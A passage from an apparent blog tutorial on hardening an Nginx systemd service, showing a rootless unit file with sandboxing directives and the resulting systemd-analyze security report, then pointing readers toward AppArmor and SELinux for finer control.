capabilities.drop: ["all"] ➜ CapabilityBoundingSet=<...>

There are a lot more ways to control the capabilities and permissions of Systemd services which are documented here. After applying some of these parameters to the Nginx service, the Unit File looks as follows:

david@proxy:~$ systemctl cat nginx

# /etc/systemd/system/nginx.service
# Rootless Nginx service based on https://github.com/stephan13360/systemd-services/blob/master/nginx/nginx.service
[Unit]
# This is from the default nginx.service
Description=nginx (hardened rootless)
Documentation=https://nginx.org/en/docs/
Documentation=https://github.com/stephan13360/systemd-services/blob/master/nginx/README.md
After=network-online.target remote-fs.target nss-lookup.target
Wants=network-online.target

[Service]
# forking is not necessary as `daemon` is turned off in the nginx config
Type=exec
User=nginx
Group=nginx
## can be used e.g. for accessing directory containing SSL certs
#SupplementaryGroups=acme
# define runtime directory /run/nginx as rootless services can't access /run
RuntimeDirectory=nginx
# write logs to /var/log/nginx
LogsDirectory=nginx
# write cache to /var/cache/nginx
CacheDirectory=nginx
# configuration is in /etc/nginx
ConfigurationDirectory=nginx

ExecStart=/usr/sbin/nginx -c /etc/nginx/nginx.conf
# PID is not necessary here as the service is not forking
ExecReload=/usr/sbin/nginx -s reload

Restart=on-failure
RestartSec=10s

# Hardening
# hide the entire filesystem tree from the service and also make it read only, requires systemd >=238
TemporaryFileSystem=/:ro
# Remount (bind) necessary paths, based on https://gitlab.com/apparmor/apparmor/blob/master/profiles/apparmor.d/abstractions/base,
# https://github.com/jelly/apparmor-profiles/blob/master/usr.bin.nginx,
# https://www.freedesktop.org/software/systemd/man/systemd.exec.html#RootDirectory=
#
# This gives access to (probably) necessary system files, allows journald logging
BindReadOnlyPaths=/lib/ /lib64/ /usr/lib/ /usr/lib64/ /etc/ld.so.cache /etc/ld.so.conf /etc/ld.so.conf.d/ /etc/bindresvport.blacklist /usr/share/zoneinfo/ /usr/share/locale/ /etc/localtime /usr/share/common-licenses/ /etc/ssl/certs/ /etc/resolv.conf
BindReadOnlyPaths=/dev/log /run/systemd/journal/socket /run/systemd/journal/stdout /run/systemd/notify
# Additional access to service-specific directories
BindReadOnlyPaths=/usr/sbin/nginx
BindReadOnlyPaths=/run/ /usr/share/nginx/

PrivateTmp=true
PrivateDevices=true
ProtectControlGroups=true
ProtectKernelModules=true
ProtectKernelTunables=true

# Network access
RestrictAddressFamilies=AF_UNIX AF_INET AF_INET6

# Miscellaneous
SystemCallArchitectures=native
# also implicit because settings like MemoryDenyWriteExecute are set
NoNewPrivileges=true
MemoryDenyWriteExecute=true
ProtectKernelLogs=true
LockPersonality=true
ProtectHostname=true
RemoveIPC=true
RestrictSUIDSGID=true
ProtectClock=true

# Capabilities to bind low ports (80, 443)
AmbientCapabilities=CAP_NET_BIND_SERVICE

[Install]
WantedBy=multi-user.target

Now, not only is the service running as non-root, but the process and sub-processes also only have access to a very limited part of the system. All filesystem access is dropped by default and only necessary system directories are either made available or substituted by temporary paths. Besides that, persistence is only possible where necessary which further limits the attack surface. Running systemd-analyze again on the new service, the results are showing effect:

david@proxy:~$ systemd-analyze security nginx.service --no-pager
Nginx Service Security Summary

  NAME                                                        DESCRIPTION                                                       EXPOSURE
✗ PrivateNetwork=                                             Service has access to the host's network                               0.5
✓ User=/DynamicUser=                                          Service runs under a static non-root user identity
✗ CapabilityBoundingSet=~CAP_SET(UID|GID|PCAP)                Service may change UID/GID identities/capabilities                     0.3
✗ CapabilityBoundingSet=~CAP_SYS_ADMIN                        Service has administrator privileges                                   0.3
✗ CapabilityBoundingSet=~CAP_SYS_PTRACE                       Service has ptrace() debugging abilities                               0.3
✗ RestrictAddressFamilies=~AF_(INET|INET6)                    Service may allocate Internet sockets                                  0.3
✗ RestrictNamespaces=~CLONE_NEWUSER                           Service may create user namespaces                                     0.3
✓ RestrictAddressFamilies=~…                                  Service cannot allocate exotic sockets
✗ CapabilityBoundingSet=~CAP_(CHOWN|FSETID|SETFCAP)           Service may change file ownership/access mode/capabilities unres…      0.2
✗ CapabilityBoundingSet=~CAP_(DAC_*|FOWNER|IPC_OWNER)         Service may override UNIX file/IPC permission checks                   0.2
✗ CapabilityBoundingSet=~CAP_NET_ADMIN                        Service has network configuration privileges                           0.2
✓ CapabilityBoundingSet=~CAP_RAWIO                            Service has no raw I/O access
✓ CapabilityBoundingSet=~CAP_SYS_MODULE                       Service cannot load kernel modules
✓ CapabilityBoundingSet=~CAP_SYS_TIME                         Service processes cannot change the system clock
✗ DeviceAllow=                                                Service has a device ACL with some special devices                     0.1
✗ IPAddressDeny=                                              Service does not define an IP address whitelist                        0.2
✓ KeyringMode=                                                Service doesn't share key material with other services
✓ NoNewPrivileges=                                            Service processes cannot acquire new privileges
✓ NotifyAccess=                                               Service child processes cannot alter service state
✓ PrivateDevices=                                             Service has no access to hardware devices
✓ PrivateMounts=                                              Service cannot install system mounts
✓ PrivateTmp=                                                 Service has no access to other software's temporary files
✗ PrivateUsers=                                               Service has access to other users                                      0.2
✗ ProtectClock=                                               Service may write to the hardware clock or system clock                0.2
✓ ProtectControlGroups=                                       Service cannot modify the control group file system
✗ ProtectHome=                                                Service has full access to home directories                            0.2
✓ ProtectKernelLogs=                                          Service cannot read from or write to the kernel log ring buffer
✓ ProtectKernelModules=                                       Service cannot load or read kernel modules
✓ ProtectKernelTunables=                                      Service cannot alter kernel tunables (/proc/sys, …)
✗ ProtectSystem=                                              Service has full access to the OS file hierarchy                       0.2
✓ RestrictAddressFamilies=~AF_PACKET                          Service cannot allocate packet sockets
✓ RestrictSUIDSGID=                                           SUID/SGID file creation by service is restricted
✓ SystemCallArchitectures=                                    Service may execute system calls only with native ABI
✗ SystemCallFilter=~@clock                                    Service does not filter system calls                                   0.2
✗ SystemCallFilter=~@debug                                    Service does not filter system calls                                   0.2
✗ SystemCallFilter=~@module                                   Service does not filter system calls                                   0.2
✗ SystemCallFilter=~@mount                                    Service does not filter system calls                                   0.2
✗ SystemCallFilter=~@raw-io                                   Service does not filter system calls                                   0.2
✗ SystemCallFilter=~@reboot                                   Service does not filter system calls                                   0.2
✗ SystemCallFilter=~@swap                                     Service does not filter system calls                                   0.2
✗ SystemCallFilter=~@privileged                               Service does not filter system calls                                   0.2
✗ SystemCallFilter=~@resources                                Service does not filter system calls                                   0.2
✗ AmbientCapabilities=                                        Service process receives ambient capabilities                          0.1
✗ CapabilityBoundingSet=~CAP_AUDIT_*                          Service has audit subsystem access                                     0.1
✗ CapabilityBoundingSet=~CAP_KILL                             Service may send UNIX signals to arbitrary processes                   0.1
✓ CapabilityBoundingSet=~CAP_MKNOD                            Service cannot create device nodes
✗ CapabilityBoundingSet=~CAP_NET_(BIND_SERVICE|BROADCAST|RAW) Service has elevated networking privileges                             0.1
✓ CapabilityBoundingSet=~CAP_SYSLOG                           Service has no access to kernel logging
✗ CapabilityBoundingSet=~CAP_SYS_(NICE|RESOURCE)              Service has privileges to change resource use parameters               0.1
✗ RestrictNamespaces=~CLONE_NEWCGROUP                         Service may create cgroup namespaces                                   0.1
✗ RestrictNamespaces=~CLONE_NEWIPC                            Service may create IPC namespaces                                      0.1
✗ RestrictNamespaces=~CLONE_NEWNET                            Service may create network namespaces                                  0.1
✗ RestrictNamespaces=~CLONE_NEWNS                             Service may create file system namespaces                              0.1
✗ RestrictNamespaces=~CLONE_NEWPID                            Service may create process namespaces                                  0.1
✗ RestrictRealtime=                                           Service may acquire realtime scheduling                                0.1
✗ SystemCallFilter=~@cpu-emulation                            Service does not filter system calls                                   0.1
✗ SystemCallFilter=~@obsolete                                 Service does not filter system calls                                   0.1
✓ RestrictAddressFamilies=~AF_NETLINK                         Service cannot allocate netlink sockets
✗ RootDirectory=/RootImage=                                   Service runs within the host's root directory                          0.1
✓ SupplementaryGroups=                                        Service has no supplementary groups
✗ CapabilityBoundingSet=~CAP_MAC_*                            Service may adjust SMACK MAC                                           0.1
✗ CapabilityBoundingSet=~CAP_SYS_BOOT                         Service may issue reboot()                                             0.1
✓ Delegate=                                                   Service does not maintain its own delegated control group subtree
✓ LockPersonality=                                            Service cannot change ABI personality
✓ MemoryDenyWriteExecute=                                     Service cannot create writable executable memory mappings
✓ RemoveIPC=                                                  Service user cannot leave SysV IPC objects around
✗ RestrictNamespaces=~CLONE_NEWUTS                            Service may create hostname namespaces                                 0.1
✗ UMask=                                                      Files created by service are world-readable by default                 0.1
✗ CapabilityBoundingSet=~CAP_LINUX_IMMUTABLE                  Service may mark files immutable                                       0.1
✗ CapabilityBoundingSet=~CAP_IPC_LOCK                         Service may lock memory into RAM                                       0.1
✗ CapabilityBoundingSet=~CAP_SYS_CHROOT                       Service may issue chroot()                                             0.1
✓ ProtectHostname=                                            Service cannot change system host/domainname
✗ CapabilityBoundingSet=~CAP_BLOCK_SUSPEND                    Service may establish wake locks                                       0.1
✗ CapabilityBoundingSet=~CAP_LEASE                            Service may create file leases                                         0.1
✗ CapabilityBoundingSet=~CAP_SYS_PACCT                        Service may use acct()                                                 0.1
✗ CapabilityBoundingSet=~CAP_SYS_TTY_CONFIG                   Service may issue vhangup()                                            0.1
✓ CapabilityBoundingSet=~CAP_WAKE_ALARM                       Service cannot program timers that wake up the system
✗ RestrictAddressFamilies=~AF_UNIX                            Service may allocate local sockets                                     0.1

→ Overall exposure level for nginx.service: 6.1 MEDIUM 😐

The score shows there's still room for improvement, but in the end, a lot of potential attack vectors have been mitigated in comparison to the officially provided Unit file.

🚀 Where to Continue

In summary, Systemd offers a straightforward method for constraining a process's capabilities, primarily leveraging Linux namespaces. This approach can significantly enhance security, but it does have its constraints. That is where Mandatory Access Control steps in, with tools such as AppArmor and SELinux providing fine grained control over system access. These tools enable a more nuanced approach to restricting system access, albeit with a more intricate configuration process. It's worth noting that numerous Linux distributions provide predefined profiles for a wide range of services, simplifying the implementation of these controls.

Ultimately, achieving a balance between security and practical implementation boils down to leveraging Systemd's capabilities alongside predefined Mandatory Access Control profiles. This approach strikes an effective compromise, ensuring both enhanced security and efficient deployment timelines.